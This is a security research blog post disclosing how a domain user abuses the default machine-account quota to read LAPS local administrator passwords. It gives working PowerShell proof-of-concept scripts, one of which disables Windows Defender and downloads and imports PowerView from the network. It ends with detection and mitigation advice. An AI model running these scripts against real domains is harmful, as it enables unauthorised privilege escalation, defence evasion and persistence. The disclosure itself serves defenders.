Abusing LAPS

Introduction

This blog post explains a misconfiguration based flaw about Local Administrator Password Solution. ms-DS-Machine-Account-Quota is defined as “The number of computer accounts that a user is allowed to create in a domain." The ms-DS-Machine-Account-Quota is attribute that defines number of computer accounts could be joined to domain by domain user. ms-Mcs-AdmPwd is attribute that stores the clear-text local Administrator password for the computer object. It can be set on each computer after LAPS installation for domain environment. “The ‘Local Administrator Password Solution’ (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.” If the ms-DS-Machine-Account-Quota attribute is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to active directory domain using the ms-ds-machine-account-quota attribute which is set “10” value as default. So that user can read ms-Mcs-AdmPwd attribute value by obtaining Owner Rights on computer that is added by himself even if LAPS configuration is completed correctly .

Domain user gainsAll extended rights over the computer account even if All extended rights permissions are disabled on Organizational Unit and all descendant objects during LAPS configuration process.(Microsoft LAPS_OperationsGuide.docx document) So that domain user reads password of local administrator user and uses the password for persistence. The user can bypass GPO restrictions obtaining password of local admin user. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Also attacker can obtain information about complexity of Administrator passwords and create wordlist according to complexity policies. Then attacker can conduct bruteforce attack against to Administrator user that was not locked never.

Scenario

Assuming that mkandemir is a domain user that has privilege of adding computer account to domain offensive.local up to 10 default (ms-ds-machine-account-quota) and there is no delegation about domain join permissions to add computer to Active Directory. Laps configuration is applied for DomainComputers organizational unit that includes adding new computer accounts. According to below configuration , only system and members of Domain Admins group reads local admin passwords so mkandemir domain user must not read local Administrator password (ms-Mcs-AdmPwd) in the teory. Configuration is applied according to Microsoft “LAPS_TechnicalSpecification” Word document. In Stage 6.2, it says “Delegation of permissions on computers accounts is performed on OU (OUs) that contain computer accounts in scope of the solution.”

Remove All Extended rights permission

Add Write permission to ms-Mcs-AdmPwdExpirationTime and ms-Mcs-AdmPwd attributes to SELF

Add CONTROL_ACCESS permission to ms-Mcs-AdmPwd attribute

Add Write permission to ms-Mcs-AdmPwdExpirationTime attribute

Setup of auditing of password reads

Permissions for DomainComputers are following before a computer is added to organizational unit by mkandemir user.

Proof of Concept

• Open non-domain joined Windows virtual machine.

• Download LAPS.x64.msi and install it with powershell module extension (AdmPwd.PS)

• Import AdmPwd.PS

• Copy

  Import-Module AdmPwd.PS

• Add computer to Active Directory with domain user creds:

• Copy

  Add-ComputerToDomainWithUserRights

• Read local admin password and determine password policy:

  • If you are still a member of local administrators after updating GPO. Read ms-mcs-admpwd attribute via PowerView.ps1:

    Copy

    Get-LapsLocalAdminPassword -disableDefender

  • If you are not a member of local administrators after updating GPO. Read ms-mcs-admpwd attribute via AdmPwd.PS:

    Copy

    Get-LapsAdmPwd -LapsInstalled

Details

Joining Computer Account to Active Directory using ms-DS-Machine-Account-Quota attribute default value

offensive\mkandemir user adds computer (DESKTOP-G8E7GKM) and obtains local Administrator rights before computer is rebooted. Basic powershell script could be used for joining domain and adding account to local administrators group.

function Add-ComputerToDomainWithUserRights {
<#
.SYNOPSIS
    This script joins a computer to domain with domain user rights by using ms-DS-Machine-Account-Quota attribute.
    Also, adds domain user to local Administrators group.

.PARAMETER dcIp
    The parameter dcIp is used to define the IPv4 address of Domain Controller.

.PARAMETER dName
    The parameter dName is used to define the Domain Name.

.PARAMETER uName
    The parameter uName is used to define the value of Domain User samAccountName attribute. 
 
.PARAMETER restart
    The parameter restart is used to restart computer after adding process.

.EXAMPLE
    PS C:\> Add-ComputerToDomainWithUserRights -restart
    PS C:\> Add-ComuterToDomainWithUserRights

.NOTES
    Windows Powershell must be run as Administrator on computer that will be joined to domain.
    If running script is disabled on your system, execute following command firstly:
    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
#>
    param (
        [string]$dcIp = $(Read-Host -Prompt '[*] Domain Controller IPv4 address '),
        [string]$dName = $(Read-Host -Prompt '[*] Domain Name '),
        [string]$uName = $(Read-Host -Prompt '[*] Domain UserName '),
        [switch]$restart
    ) 
    begin {
        Get-NetAdapter
        [int]$index = $(Read-Host -Prompt '[*] index of interface ')
    }
    process {
        Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dcIp -ErrorAction Stop
        Write-Host "[*] Adding computer account to Active Directory." -ForegroundColor Yellow
        Add-Computer -DomainName $dName -Credential $dName\$uName -Verbose -ErrorAction Stop
        Add-LocalGroupMember -Group "Administrators" -Member "$dName\$uName"
        Write-Host "[+] $uName domain user is added to local administrators group." -ForegroundColor Green
        Write-Host "[*] Restarting is required to achieve adding process." -ForegroundColor Yellow
        if ($restart) {
            Restart-Computer
        } else {
            Write-Host "[-] Computer restarting is cancelled!" -ForegroundColor Red
        }

    } 
        
    }  

The user restarts computer after this process and logs on DESKTOP-G8E7GKM computer as offensive\mkandemir domain user.

Reading ms-Mcs-AdmPwd attribute

a) If there is no a group policy object(GPO) that defines who are local users so that mkandemir user remains local admin after computer is rebooted.

mkandemir user can read ms-Mcs-AdmPwd attribute using Get-NetComputer cmdlet from PowerView.ps1 . However PowerView.ps1 is detected by Windows Defender that must be disabled so local admin right is required. The user can disable Defender and read local administrator password even if All extended rights permission is removed from users and groups before computer adding process. Above LAPS configuration defines Domain Admins group is authorized for reading local admin passwords but mkandemir user can gain All Extended Rights over DESKTOP-G8E7GKM object that added by himself. This is possible because ms-DS-Machine-Account-Quota attribute value is 10 defaultly.

Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with Powerview.ps1):

function Get-LapsLocalAdminPassword {
    <#
    .SYNOPSIS
        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all
        extended rights on computer account.
    .PARAMETER pUrl
        The parameter pUrl is used to define the URL of PowerView script.
    .PARAMETER disableDefender
        The parameter disableDefender is used to disable Windows Defender.
    .EXAMPLE
        PS C:\> Get-LocalAdminPassword -disableDefender
    .NOTES
        Windows Powershell should be run as domain user rights with local admin privileges.
        If you have Internet connection during penetration test,powerview url is following.
        https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
        If running scripts is disabled on your system, execute following command firstly:
        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
    #>
    param (
        [string]$pUrl = $(Read-Host -Prompt '[*] Url of Powerview.ps1 script '),
        [switch]$disableDefender
    )
    begin {
        Write-Host " Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
    }
    process {
        $dPath = $env:USERPROFILE
        Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
        $hName = $env:COMPUTERNAME
        Write-Host "Computername: $hName" -ForegroundColor Yellow
        Write-Host "[*] Windows Defender will be disabled for running PowerView.ps1 $disableDefender"
    if ($disableDefender) {
        Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable -ErrorAction Stop
        Invoke-WebRequest $pUrl -OutFile $dPath\Desktop\PowerView.ps1 -TimeoutSec 30
        Import-Module -Name $dPath\Desktop\PowerView.ps1
        $admPwd = Get-DomainComputer -Identity $hName | Select-Object -Property ms-mcs-*
        Write-Host "$admPwd" -ForegroundColor Green
        $eTime = Read-Host -Prompt '[*] String admpwd expirationtime'
        $expTime = cmd.exe /c "w32tm /ntte $eTime"
        Write-Host "$expTime" -ForegroundColor Green
    } else {
        Write-Host "[-] Cancelled!" -ForegroundColor Red
    }
    }
}

b) If there is a group policy object (GPO) that defines who are local users so that mkandemir user does not remains local admin after computer is rebooted. To read ms-mcs-admpwd attribute value, user must install LAPS management Powershell module (AdmPwd.PS) before adding computer to Active Directory. So that password could be read using AdmPwd.PS module.

Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with AdmPwd.PS):

function Get-LapsLocalAdminPassword {
    <#
    .SYNOPSIS
        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all extended rights on computer account without
        local admin privileges.
    
    .PARAMETER LapsInstalled
        The parameter LapsInstalled is used to define the AdmPwd.PS module is installed.

    .PARAMETER OtherComputer
        The parameter OtherComputer is used to query for other computer.

    .EXAMPLE
        PS C:\> Get-LocalAdminPassword –LapsInstalled
	    PS C:\> Get-LocalAdminPassword –LapsInstalled -OtherComputer
    
    .NOTES
        Windows Powershell should be run as domain user rights. If GPO is applied which only specified users join local adminstrators group , this script could be executed without admin rights.  

        If running scripts is disabled on your system, execute following command firstly.
        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

    #>
        param (
    
            [switch]$LapsInstalled,
            [switch]$OtherComputer
        ) 
        begin {
            
            Write-Host "Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
        }
        process {
          
            $dPath = $env:USERPROFILE
            Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
            $hName = $env:COMPUTERNAME
            Write-Host "Computername: $hName" -ForegroundColor Yellow
            Write-Host "[*] Did you install LAPS management powershell module? $LapsInstalled"
            if ($LapsInstalled) {
                Import-Module AdmPwd.PS
                Write-Host "[*] Would you like to query another computer account you added yourself? $otherComputer"
                if ($OtherComputer) {
                    $computer = Read-Host -Prompt "[*] Computer name "
                    Get-AdmPwdPassword -ComputerName $computer | format-list -Property ComputerName, ExpirationTimestamp, Password  
                        
                } else {
                    Get-AdmPwdPassword -ComputerName $hname | format-list -Property ComputerName, ExpirationTimestamp, Password 
                        
                }
            } else {
                Write-Host "[-] Cancelled!" -ForegroundColor Red
            }
            }

} 

Vulnerable Situations

1. A domain user can escalate privilege over computer that was added by own when a laps gpo is applied to computer. (documented in this blog): a. The machine account password change is initiated by the computer every 30 days by default. b. The restricted groups gpo can remove the user from local administrators group. The user still can escalate privilege to local admin reading ms-mcs-admpwd after above two situations.

2. The Laps gpo is applied to PC organizational unit and lapsAdmin group delegated for LAPS management. The user has adding computer right to PC organizational unit and is not member of lapsAdmin group. The user can read ms-mcs-admpwd attribute of computer that was added by own.

Conclusion

If the ms-DS-Machine-Account-Quota attribute value is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to domain using the ms-ds-machine-account-quota attribute . So that domain user reads password of local administrator user and uses the password for persistence. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Restrictions and GPOs that were applied by the AD admins, can be bypassed in the enterprise environments in this way. Also,(defining complexity is possible with GPRegistryPolicy) user can add computer and read LAPS password so that he can obtain information about complexity and length of other Administrator passwords. Because, LAPS carries out similar password property for all computer accounts that group policy is applied.

Mitigation

Active Directory by default allows ordinary users to join machines to the domain, up to the limit imposed by the msDS-MachineAccountQuota attribute. The user must have local Administrator privileges on a machine in order to perform the join. When a machine is joined this way, the resultant security configuration on the machine account allows the joining user to read the value of the ms-Mcs-AdmPwd attribute, even after the user in question no longer has local Administrator privileges on a machine.

Machine that have been joined this way can be discovered by querying the msDS-CreatorSid attribute attribute, for example:

Get-ADComputer -LdapFilter '(msds-CreatorSid=*)' -SearchBase '<domain-or-OU-DN>' -SearchScope Subtree

You can prevent this issue by disabling the ability of ordinary users to join machines to the domain. This can be done by setting the ms-DS-MachineAccountQuota attribute to zero.

# Author: Metin Yunus Kandemir

References

https://docs.microsoft.com/tr-tr/windows/win32/adschema/a-ms-ds-machineaccountquota

https://www.microsoft.com/en-us/download/details.aspx?id=46899

https://docs.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

https://download.microsoft.com/download/C/7/A/C7AAD914-A8A6-4904-88A1-29E657445D03/LAPS_OperationsGuide.docx

https://github.com/passtheticket/Abusing_Laps_Toolkit

GitHub - PowerShell/GPRegistryPolicyGitHub